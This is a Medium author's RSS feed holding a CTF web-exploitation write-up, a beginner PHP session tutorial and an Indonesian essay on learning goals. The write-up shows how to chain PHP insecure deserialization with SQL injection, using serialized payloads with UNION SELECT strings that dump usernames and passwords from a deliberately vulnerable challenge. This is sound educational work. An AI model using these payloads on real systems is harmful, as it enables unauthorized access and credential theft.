<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Christopher Limawan on Medium]]></title>
        <description><![CDATA[Stories by Christopher Limawan on Medium]]></description>
        <link>https://medium.com/@christopherlimawan?source=rss-a7638ff42daf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*xlqGIEvsmMWkC63LWczJbg.jpeg</url>
            <title>Stories by Christopher Limawan on Medium</title>
            <link>https://medium.com/@christopherlimawan?source=rss-a7638ff42daf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 00:42:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@christopherlimawan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[SlashrootCTF 5.0 — Web Exploitation] Confused Ooga Booga Write-up and Explanations]]></title>
            <link>https://medium.com/@christopherlimawan/slashrootctf-5-0-web-exploitation-confused-ooga-booga-write-up-and-explanations-3f2f9fa4cb1d?source=rss-a7638ff42daf------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f2f9fa4cb1d</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Christopher Limawan]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 14:01:42 GMT</pubDate>
            <atom:updated>2021-09-26T14:01:42.509Z</atom:updated>
            <content:encoded><![CDATA[<h3>[SlashrootCTF 5.0 — Web Exploitation] Confused Ooga Booga Write-up and Explanations</h3><p>Hi all, I am back to share what I know and how our team do solve the CTF problem set in SlashrootCTF 5.0 event, named <em>Confused Ooga Booga</em>.</p><h3>Introduction to CTF Problem: Confused Ooga Booga</h3><p>First things first, explanation about the problem itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*im1ktlLfCRRr5gK5DrTFqQ.png" /><figcaption>Image 1: Web Exploitation Problem Set — Confused Ooga Booga (Credits to: IMaddiXI)</figcaption></figure><p>We do confused about the problem, alright. The description does not tell much, except link to the web application target. XD</p><p>Jokes aside, this problem set gives us the main target that should be exploited. Here is the interface of the web application when accessed it in normal way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r-eD-UyvHcImAkE23vf9gA.png" /><figcaption>Image 2: Result of Accessing Web Application Target</figcaption></figure><p>The web application instantly shows the source code of the current endpoint. As for the completed source code, you can check out at the bottommost of this article.</p><p>The goal is to exploit the web application and get the flag, based on given source code. But before I start to explain how our team solves the problem, let’s know what vulnerabilities reside in the web application.</p><p>FYI, there are 2 major vulnerabilities in the web application:</p><ol><li><strong>SQL Injection </strong>(Check out <a href="https://owasp.org/Top10/A03_2021-Injection">OWASP Top Ten Web Application Security Risks — Injection</a>)</li><li><strong>Insecure Deserialization </strong>(Check out <a href="https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures">OWASP Top Ten Web Application Security Risks — Software and Data Integrity Failures</a>)</li></ol><p>Let’s go through each of the vulnerabilities step-by step, starts from Insecure Deserialization.</p><h3>Insecure Deserialization</h3><p>Take a look at the code snippet below:</p><blockquote>if (isset($_GET[‘data’])) {<br> $decoded = base64_decode($_GET[‘data’]);<br> $deserialized = <a href="http://twitter.com/unserialize">@unserialize</a>($decoded);<br>} else {<br> new PRAM(‘source’, []);<br>}</blockquote><p>What the code snippet do is to decode <em>data</em> parameter with Base64 algorithm and <strong>deserialize</strong> the result. I should highlight the <strong>deserialize </strong>word, because it could be one of the signature to vulnerability of <strong>Insecure Deserialization</strong>.</p><p>If you do not have a single clue about Insecure Deserialization, please have a look and understand on explanation of <a href="https://blog.convisoappsec.com/en/introduction-to-insecure-deserialization-in-php">Introduction of Insecure Deserialization in PHP</a>.</p><p>Let’s go into how to leverage the vulnerability.</p><p>First things first, usually the targets of the insecure deserialization in PHP are classes that will be used in the web application. In this case, <em>PRAM</em> class is the main target, because of __destruct method capability. (<em>get</em>, <em>login</em>, and <em>source </em>method will be called when the class calls destructor)</p><blockquote>function __destruct()<br> {<br> $this-&gt;__conn();</blockquote><blockquote>if (in_array($this-&gt;method, array(‘get’, ‘login’, ‘source’))) {<br> <a href="http://twitter.com/call_user_func_array">@call_user_func_array</a>(array($this, $this-&gt;method), $this-&gt;args);<br> } else {<br> $this-&gt;__die(“method not found!”);<br> }</blockquote><blockquote>$this-&gt;__close();<br> }</blockquote><p>Next, after a little information gathering about the target of the Insecure Deserialization, let’s prepare the payload first. The steps are:</p><ol><li>Construct class with set value</li><li>Create object based on created class</li><li>Serialize created object</li><li>Encode the result with Base64</li></ol><p>You can construct class and create object using PHP Interactive Shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*0RLbBEiEZPU02TNQZTm3og.png" /><figcaption>Image 3: Create Payload to Change PRAM Values, by Recreate PRAM Class and Serialize PRAM New Object (Call Get Method)</figcaption></figure><p>The result of step 1–3 is:</p><blockquote>O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:4:”’user”;}}</blockquote><p>After construct and encode the payload, use the payload to invoke request to web application target with additional query string. If errors are not shown and the result is shown as following image, then leveraging Insecure Deserialization vulnerability proves to be successful. (In the following image, I am using Burp Suite to help me send the edited request, but it is <strong>not mandatory</strong>.<strong> </strong>If you have another tool(s), feel free to use it, as long as you can do what I do in this article)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*QGStxfjyrL0Ulkhh0J8Nwg.png" /><figcaption>Image 4: Send Base64-encoded Serialized PRAM Object to “<em>data” </em>Parameter</figcaption></figure><h3>SQL Injection</h3><p>Take a look at code snippet below:</p><blockquote>function get()<br> {<br> list($username) = func_get_args();<br> $q = sprintf(“SELECT * FROM users WHERE username=’%s’”, $username);</blockquote><blockquote>$obj = $this-&gt;__query($q);</blockquote><blockquote>if ($obj != false) {<br> $this-&gt;__die(sprintf(“%s is %s”, $obj-&gt;username, $obj-&gt;role));<br> } else {<br> $this-&gt;__die(“User not found!”);<br> }<br> }</blockquote><blockquote>function __query($q)<br> {<br> $res = <a href="http://twitter.com/mysqli_query">@mysqli_query</a>($this-&gt;conn, $q);</blockquote><blockquote>if ($res) {<br> return <a href="http://twitter.com/mysqli_fetch_object">@mysqli_fetch_object</a>($res);<br> }<br> }</blockquote><p>What the code snippet do is to fetch user data with given <em>username</em> in <strong>database</strong>. <em>Username</em> value extracted from the <em>args</em> variable. For the current subtopic, I should highlight <strong>database</strong> word, because it could be one of the signature to vulnerability of <strong>SQL Injection</strong>. Specifically in PHP, we can leverage <em>mysqli_query</em> method to inject SQL query to <em>args </em>variable.</p><p>Before explaining how to leverage SQL Injection, understand the concept of Insecure Deserialization because we will continuously leverage Insecure Deserialization to do SQL Injection.</p><p>First things first, let’s construct the payload by changing several values from payload we have used to leverage Insecure Deserialization.</p><blockquote>O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:9:”’ or 1=1#”;}}</blockquote><p>Then, encode the payload and invoke the request once again to web application target, also do not forget to change the <em>data </em>parameter to encoded payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*fnpZ11wIzHvtDsy8lsCL_g.png" /><figcaption>Image 5: Send Base64-encoded Serialized PRAM Object (SQLi Payload Included) to “data” Parameter (Test SQL Injection)</figcaption></figure><p>The image above shows that the message is different, compared to Insecure Deserialization part. Based on the shown message:</p><ol><li>We can conclude that in Insecure Deserialization part shows no user selected, but current payload shows an user selected, named <em>pram</em>.</li><li>We can conclude the SQL Injection payload successfully executed.</li></ol><p>Because those temporary conclusion, we can investigate further on database contents by leverage this endpoint. Next, let’s show all existed users in database. Before doing just that, we need to know count of selected columns when doing select query for specific username by utilizing UNION and SELECT query.</p><blockquote>O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:9:”’ union select 1,2,3,4#”;}}</blockquote><p>After that, encode the payload and invoke the request once again to web application target, also do not forget to change the <em>data </em>parameter to encoded payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*yeIYpRj9eFH3qWjxkXGJdw.png" /><figcaption>Image 6: Send Base64-encoded Serialized PRAM Object (SQLi UNION SELECT Payload Included) to “data” Parameter (Find Information about Count of Selected Columns)</figcaption></figure><p>We do have a result, where 2 and 4 used as the message data. From this, we know that we should leverage column 2 or 4 in current payload to show all user data. But if we analyse <em>login </em>method logic, we just need username and password. So, let’s change the payload once again, from column 2 to <em>group_concat(username, ‘ ’, password)</em>. The <a href="https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_group-concat"><em>group_concat</em></a> function used to combine username and password as 1 column.</p><blockquote>O:4:”PRAM”:2:{s:6:”method”;s:3:”get”;s:4:”args”;a:1:{i:0;s:56:”’ union select 1,group_concat(username, ‘ ‘, password),3,4 from users#”;}}</blockquote><p>Then, encode the payload and invoke the request once again to web application target, also do not forget to change the <em>data </em>parameter to encoded payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*fvJwbGcv2AHjKx5LtyFV8A.png" /><figcaption>Image 7: Send Base64-encoded Serialized PRAM Object (SQLi UNION SELECT Payload Included) to “data” Parameter (Show all usernames and passwords)</figcaption></figure><p><em>Voilà</em>. We have got the username and password of listed users in database, <em>pram</em> and <em>guest</em>. Let’s use the credentials to invoke <em>login</em> method with shown credentials. The steps are still the same:</p><ol><li>Construct class with set value</li><li>Create new object</li><li>Serialize the new object</li><li>Encode the result with Base64</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*XEtBKjOWAC9mTIB1e7pjoA.png" /><figcaption>Image 8: Create Payload to Change PRAM Values, by Recreate PRAM Class and Serialize PRAM New Object (Call Login Method)</figcaption></figure><p>The result of step 1–3 is:</p><blockquote>O:4:”PRAM”:2:{s:6:”method”;s:5:”login”;s:4:”args”;a:2:{i:0;s:4:”pram”;i:1;s:14:”v3ryS3cur3P4sz”;}}</blockquote><p>After prepare and encode the serialized object, invoke the request once again to web application target, also do not forget to change the <em>data </em>parameter to encoded payload.</p><p>And we have found the flag.</p><blockquote>Slashroot5{PHP&lt;redacted&gt;bo0ga}</blockquote><h3>Others</h3><p>Source code of the web application (in PHP):</p><blockquote>&lt;?php</blockquote><blockquote>include ‘config.php’;</blockquote><blockquote>class PRAM<br>{<br> private $method;<br> private $args;<br> private $conn;</blockquote><blockquote>public function __construct($method, $args)<br> {<br> $this-&gt;method = $method;<br> $this-&gt;args = $args;<br> }</blockquote><blockquote>function get()<br> {<br> list($username) = func_get_args();<br> $q = sprintf(“SELECT * FROM users WHERE username=’%s’”, $username);</blockquote><blockquote>$obj = $this-&gt;__query($q);</blockquote><blockquote>if ($obj != false) {<br> $this-&gt;__die(sprintf(“%s is %s”, $obj-&gt;username, $obj-&gt;role));<br> } else {<br> $this-&gt;__die(“User not found!”);<br> }<br> }</blockquote><blockquote>function login()<br> {<br> global $FLAG;</blockquote><blockquote>list($username, $password) = func_get_args();<br> $username = strtolower(trim(mysqli_real_escape_string($this-&gt;conn, $username)));<br> $password = strtolower(trim(mysqli_real_escape_string($this-&gt;conn, $password)));</blockquote><blockquote>$q = sprintf(“SELECT * FROM users WHERE username=’%s’ AND password=’%s’”, $username, $password);</blockquote><blockquote>$obj = $this-&gt;__query($q);</blockquote><blockquote>if ($obj &amp;&amp; $obj-&gt;role == ‘admin’) {<br> $this-&gt;__die(‘REAL SHIT!! okay, here is your flag: ‘ . $FLAG);<br> } else {<br> $this-&gt;__die(“No flag for you, go ask pram for flag”);<br> }<br> }</blockquote><blockquote>function source()<br> {<br> return highlight_file(__FILE__);<br> }</blockquote><blockquote>function __conn()<br> {<br> global $host, $user, $pass, $dbname;</blockquote><blockquote>if (!$this-&gt;conn) {<br> $this-&gt;conn = mysqli_connect($host, $user, $pass, $dbname);<br> mysqli_set_charset($this-&gt;conn, ‘utf8’);<br> }</blockquote><blockquote>if (!$this-&gt;conn) {<br> die(‘Connection failed: ‘ . mysqli_connect_error());<br> }<br> }</blockquote><blockquote>function __query($q)<br> {<br> $res = <a href="http://twitter.com/mysqli_query">@mysqli_query</a>($this-&gt;conn, $q);</blockquote><blockquote>if ($res) {<br> return <a href="http://twitter.com/mysqli_fetch_object">@mysqli_fetch_object</a>($res);<br> }<br> }</blockquote><blockquote>function __die($msg)<br> {<br> $this-&gt;__close();</blockquote><blockquote>header(‘Content-Type: application/json’);<br> die(json_encode(array(‘msg’ =&gt; $msg)));<br> }</blockquote><blockquote>function __close()<br> {<br> mysqli_close($this-&gt;conn);<br> }</blockquote><blockquote>function __destruct()<br> {<br> $this-&gt;__conn();</blockquote><blockquote>if (in_array($this-&gt;method, array(‘get’, ‘login’, ‘source’))) {<br> <a href="http://twitter.com/call_user_func_array">@call_user_func_array</a>(array($this, $this-&gt;method), $this-&gt;args);<br> } else {<br> $this-&gt;__die(“method not found!”);<br> }</blockquote><blockquote>$this-&gt;__close();<br> }</blockquote><blockquote>function __wakeup()<br> {<br> foreach ($this-&gt;args as $key =&gt; $value) {<br> $this-&gt;args[$key] = strtolower(trim($value));<br> }<br> }<br>}</blockquote><blockquote>if (isset($_GET[‘data’])) {<br> $decoded = base64_decode($_GET[‘data’]);<br> $deserialized = <a href="http://twitter.com/unserialize">@unserialize</a>($decoded);<br>} else {<br> new PRAM(‘source’, []);<br>}</blockquote><h3>Closing</h3><p>I think that’s all that I want to share about <em>Confused Ooga Booga </em>SlashrootCTF 5.0 Problem Set. If there are any explanation that need to be fixed or added, please do not hesitate to let me know by email to christopherlimawan@gmail.com.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f2f9fa4cb1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Back-end Development Using PHP: Session]]></title>
            <link>https://medium.com/@christopherlimawan/basic-back-end-development-using-php-session-b9c041dcf20e?source=rss-a7638ff42daf------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9c041dcf20e</guid>
            <category><![CDATA[php-basic]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[backend]]></category>
            <category><![CDATA[php-session]]></category>
            <dc:creator><![CDATA[Christopher Limawan]]></dc:creator>
            <pubDate>Wed, 17 Jun 2020 07:14:28 GMT</pubDate>
            <atom:updated>2020-06-17T07:14:28.047Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Let us not look back in anger or forward in fear, but around in awareness. — James Thurber</blockquote><p>If you are new to web development, then you should know this one of back-end web development basics, because it will be used in situations that need <strong>state</strong>.</p><p>When we want to access a web, our computer, as client, will generate a request of HTTP protocol. If requested server that hosts specific web exists, then server will generate a response to client of web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*IfrTaJ7UzKwpQo-UWhnidw.jpeg" /><figcaption>Web Page Request Flow in Network Traffic, generally</figcaption></figure><p>What we should know about HTTP is HTTP itself is <strong>stateless</strong>. Stateless means that the request itself doesn’t know anything about any requests before the HTTP requests itself. Long story short, it will not bring data such as recent web page accessed or the current situation in client’s web browser.</p><p>Linked to current existing web page, current websites have pages that will render a “little different” parts when already authenticated or not authenticated. This means an authenticated state sent by HTTP protocol. Currently, I’m speaking of cookie, which makes HTTP protocol not stateless anymore. But, if all the data will be saved in cookie, it will be dangerous.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*ng9S7z57daSfCvRycdY98A.jpeg" /><figcaption>Man in the Middle Network Traffic</figcaption></figure><p>I’m talking about Man-in-the-middle, infamously known as MITM, where a person try to sniff or try to check the contents of sent packets, perhaps personal data or sensitive data will be shown. Because of that reason, all easy and human-readable data <strong>will not</strong> be saved in cookie. So, what data will be saved in cookie for declaring HTTP state?</p><p>Let’s talk about session before discussing what data cookie will be set. Session is, simply a file, to save current state from server-side. Simple example, when you are doing login to a website and success, the data that consists of your login data will be saved in session. The explanation about session is as simple as that, though.</p><p>Back to the question, <strong>what data </strong>will be saved in cookie that makes you link to the session? Each session has its ID and the ID is unique for each user. So, cookie will set the session ID to mark current user use which session file. That’s why when we access web, we can get data that saved in browser.</p><p>Let’s do some practice about session.</p><p>Let’s create a simple page, consists of 1 button to set our identity as “guest”.</p><p>Prepare 1 directory as our project, create <strong>index.php</strong>, and fill index.php file with this.</p><pre>&lt;!doctype html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Basic Session&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>        &lt;button type=&quot;submit&quot; name=&quot;login&quot;&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>        &lt;button type=&quot;submit&quot; name=&quot;logout&quot;&gt;Logout&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Then, publish the website using <strong>php </strong>command in command prompt or use <strong>apache2 </strong>(Perhaps I will make one tutorial how to publish website using apache2 in Windows and Linux, also publish website using php command). For our little practice, let’s use php command (make sure php executable command is in PATH environment variable).</p><blockquote>php -S localhost:8080</blockquote><p>We should see something like this in our own website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*lzYUtz3Abygo0F2sFrKu5g.png" /><figcaption>Result of index.php</figcaption></figure><p>I know there is no custom design added, but the main importance is know how to use session.</p><p>The scenario is when we click “Login” button, we will set username as “<strong>guest</strong>” in current session, then set. First things first, we need to start the session, because we want to save data in session. On the top part of index.php (before &lt;!doctype html&gt;), enter this code:</p><pre>&lt;?php<br>    // start to use storage in session<br>    session_start();<br>?&gt;</pre><p>After session_start(), you may need to check whether “Login” button has been clicked. Let’s enter a validation if already click “Login” button.</p><pre>// check whether we do submit form with content of form consists of name=&quot;login&quot;<br>if(@isset($_POST[&#39;login&#39;])) {<br>    // after click login button, action starts here<br><br>}</pre><p>For the action after click login button, we will set the username as <strong>guest </strong>in session. Enter this code inside block of statement in click login button validation.</p><pre>$_SESSION[&#39;username&#39;] = &quot;guest&quot;;</pre><p>By using $_SESSION, we will save any data in current session. the form of $_SESSION is associative array, so you can separate saved data in $_SESSION based on what data is it.</p><p>Then, let’s say after set the data, we will show current username in session before login button. Let’s add PHP code before form tag that contains login button.</p><pre>&lt;?php<br>    if(isset($_SESSION[&#39;username&#39;]))<br>        echo &quot;Current username: ${_SESSION[&#39;username&#39;]}&quot;;<br>?&gt;</pre><p>Current index.php code (after add “set session” feature):</p><pre>&lt;?php<br>    // start to use storage in session<br>    session_start();<br><br>    // check whether we do submit form with content of form consists of name=&quot;login&quot;<br>    if(@isset($_POST[&#39;login&#39;])) {<br>        // after click login button, action starts here<br>        $_SESSION[&#39;username&#39;] = &quot;guest&quot;;<br>    }<br>?&gt;<br><br>&lt;!doctype html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Basic Session&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;?php<br>        if(isset($_SESSION[&#39;username&#39;]))<br>            echo &quot;Current username: ${_SESSION[&#39;username&#39;]}&quot;;<br>    ?&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>        &lt;button type=&quot;submit&quot; name=&quot;login&quot;&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>        &lt;button type=&quot;submit&quot; name=&quot;logout&quot;&gt;Logout&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>The current result of web:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*UQWnLhmnRxU7hHHF7Z-2jQ.png" /><figcaption>Result of index.php (before click Login button)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*VludmS8qY_SDF4id4Yl4EQ.png" /><figcaption>Result of index.php (after click Login button)</figcaption></figure><p>Now, we can use session to set data!</p><p>Next, let’s learn how to empty session, because you will need the feature for Log Out or Sign Out system in PHP native.</p><p>Let’s add this code after PHP code of click Login button validation:</p><pre>// check whether we do submit form with content of form consists of name=&quot;logout&quot;<br>if(@isset($_POST[&#39;logout&#39;])) {<br>    // after click logout button, action starts here<br>    <br>}</pre><p>Now, how to empty session, there are 2 ways to do it.</p><p>First way, <strong>destroy </strong>the session. Let’s code in block of statement in click Logout button validation:</p><pre>session_destroy();</pre><p>Second way, you can <strong>unset </strong>the session. Let’s code in block of statement in click Logout validation:</p><pre>unset($_SESSION);</pre><p>You can use any of them, though. For our little practice, let’s use session_destroy().</p><p>Final code:</p><pre>&lt;?php<br>    // start to use storage in session<br>    session_start();<br><br>    // check whether we do submit form with content of form consists of name=&quot;login&quot;<br>    if(@isset($_POST[&#39;login&#39;])) {<br>        // after click login button, action starts here<br>        $_SESSION[&#39;username&#39;] = &quot;guest&quot;;<br>    }<br><br>    // check whether we do submit form with content of form consists of name=&quot;logout&quot;<br>    if(@isset($_POST[&#39;logout&#39;])) {<br>        // after click logout button, action starts here<br>        session_destroy($_SESSION);<br>    }<br>?&gt;<br><br>&lt;!doctype html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Basic Session&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;?php<br>        if(isset($_SESSION[&#39;username&#39;]))<br>            echo &quot;Current username: ${_SESSION[&#39;username&#39;]}&quot;;<br>    ?&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>        &lt;button type=&quot;submit&quot; name=&quot;login&quot;&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>        &lt;button type=&quot;submit&quot; name=&quot;logout&quot;&gt;Logout&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Final result of web:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*up13hMRjukuVzyV40bcjRQ.png" /><figcaption>Result of index.php (before click logout button)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*kFeyhBnK2aNTK_XKJh-4xQ.png" /><figcaption>Result of index.php (after click logout button)</figcaption></figure><p>Now, we can manipulate contents of current session to be saved.</p><p>Take some rest and let your brain absorb all of your skills.</p><p><em>Ora et labora</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9c041dcf20e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ketahui Tujuan dari Suatu Pembelajaran Sebelum Beraksi]]></title>
            <link>https://medium.com/@christopherlimawan/ketahui-tujuan-dari-suatu-pembelajaran-sebelum-beraksi-830c23f4804f?source=rss-a7638ff42daf------2</link>
            <guid isPermaLink="false">https://medium.com/p/830c23f4804f</guid>
            <category><![CDATA[belajar]]></category>
            <category><![CDATA[tujuan-hidup]]></category>
            <category><![CDATA[aksi]]></category>
            <category><![CDATA[tenang]]></category>
            <category><![CDATA[tujuan]]></category>
            <dc:creator><![CDATA[Christopher Limawan]]></dc:creator>
            <pubDate>Mon, 18 May 2020 12:20:32 GMT</pubDate>
            <atom:updated>2020-05-18T12:20:32.721Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>“Any fool can know. The point is to understand.”— Albert Einstein</blockquote><p>Setiap kali kita bangun dari tidur, kita pasti punya suatu <strong><em>target</em></strong><em> </em>tertentu. Bahkan “mencari arah tujuan” juga merupakan suatu target. Setiap kali kita ingin mencapai target tersebut, kita pasti akan melewati tahap “<strong>belajar</strong>”. Dari tahap “belajar”, kita bisa mengetahui bagaimana <strong>cara mencapai </strong>suatu <strong>tujuan </strong>tersebut.</p><p>Hal yang disebutkan tadi adalah perwujudan dari “<strong>cara</strong>” dan “<strong>kuasa</strong>”, dimana “cara” adalah <strong>belajar </strong>dan “kuasa” adalah <strong>kemampuan </strong>untuk <strong>melakukan </strong>“<strong>cara</strong>”. Ketika 2 hal tadi diwujudkan, maka kita akan mewujudkan suatu “<strong>tujuan</strong>”. “Tujuan” inilah yang merupakan <em>target </em>kita tadi.</p><p>Tetapi, <strong>tidak sedikit </strong>dari kita <strong>menyerah </strong>dalam mencapai tujuan tersebut. Mengapa? Kita sekarang hidup di dunia yang “<strong>serba cepat dan mudah</strong>” (Ning, 2015). Penyebab dunia dengan konsep seperti itu adalah <strong>perkembangan teknologi</strong>, dimana ketika ingin menyatakan suatu rasa “kangen” kepada seseorang, kita cukup lakukan <em>chat </em>atau telepon orang tersebut. Karena <strong>pencapaian tujuan </strong>dengan <strong>proses yang cepat</strong>, terbentuklah suatu mental “serba cepat dan mudah” ini.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*_T9wHyK6q8dxxpmXTXnTKA.png" /><figcaption>Tidak Sedikit dari Kita yang Menyerah. Link: <a href="https://dthezntil550i.cloudfront.net/ir/latest/ir1809091734332950002628429/3c7d4631-cc4f-429e-9c6d-bbceec75cfe3.png">https://dthezntil550i.cloudfront.net/ir/latest/ir1809091734332950002628429/3c7d4631-cc4f-429e-9c6d-bbceec75cfe3.png</a></figcaption></figure><p>Bagaimana cara mencegah sifat menyerah tersebut? Mari kita belajar tentang “<strong>Mengetahui Tujuan Pembelajaran</strong>”.</p><p>Pertanyaan nya adalah, <strong>mengapa perlu</strong>, padahal dari awal sudah di <em>set </em>bahwa kita ingin kejar target tersebut? Perlu diketahui jika kalian <strong>semakin fokus </strong>dalam tahap “<strong>belajar</strong>” tersebut, maka kalian akan mengisi hari-hari kalian dengan hal yang kalian pelajari. <strong>Tetapi</strong>, banyak orang yang tidak tahu bahwa jika <strong>terlalu fokus </strong>kepada tahap “belajar”, maka kalian <strong>tidak akan menyempatkan diri </strong>untuk <strong>berdiam sejenak </strong>dan mengingat kembali “<strong>apa yang ingin saya capai hari ini?</strong>”.</p><p>Mengapa perlunya diam sejenak? Mungkin ini opini saya sendiri, tapi <strong>sistem motorik </strong>pada tubuh kita <strong>bergerak lebih cepat </strong>daripada <strong>pemikiran </strong>kita. Sehingga ketika kita melakukan <strong><em>action </em></strong>terus menerus, maka <strong>pikiran </strong>kita <strong>tidak</strong> akan<strong> bisa mengejar</strong>. Lalu, pada akhirnya kalian akan mempertanyakan diri kalian sendiri:</p><blockquote>Untuk apa saya lakukan hal ini?</blockquote><p>Ketika kalian sampai pada point tersebut, artinya <strong>motorik </strong>kalian sudah <strong>terlalu jauh </strong>dengan <strong>pikiran</strong>, sehingga <strong><em>action </em></strong>yang dilakukan tidak akan <strong>selaras</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*g1YDIa0GC_pLAtTR9a24Fg.jpeg" /><figcaption>Ilustrasi Perbandingan Kecepatan Motorik dan Pikiran. Link: <a href="https://dongeng.kamikamu.net/wp-content/uploads/sites/71/2019/11/Dongeng-Lomba-Lari-Kelinci-dan-Kura-kura.jpg">https://dongeng.kamikamu.net/wp-content/uploads/sites/71/2019/11/Dongeng-Lomba-Lari-Kelinci-dan-Kura-kura.jpg</a></figcaption></figure><p>Jika sudah kejadian hal tersebut, dimohon untuk <strong>stop </strong>terlebih dahulu dan <strong>izinkan pikiran </strong>kalian <strong>mengejar ketertinggalan</strong>. Bagaimana caranya? Kembali <strong>pikirkan <em>target</em> </strong>kalian dan <strong><em>action</em></strong> untuk mengejar <em>target </em>kalian. Dengan begitu, kalian akan membuat <strong>pikiran </strong>akan berada pada jarak tempuh yang <strong>sama </strong>dengan<strong> motorik</strong>.</p><p>Jadi, ini sebenarnya hanya sekedar <strong>mengingatkan</strong>. Tapi pengingat ini cukup penting untuk tetap pada jalur mengejar target kalian, karena ketika kalian <strong>kehilangan target </strong>tersebut, maka <strong>usaha </strong>yang kalian lakukan selama ini menjadi <strong>percuma</strong>.</p><p><em>Ora et labora</em>.</p><p>Referensi:</p><p>Ning, L.T. (2015) <em>6 Keranjang 7 Langkah Api. </em>Jakarta: Gramedia Pustaka Utama, p. XV.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=830c23f4804f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>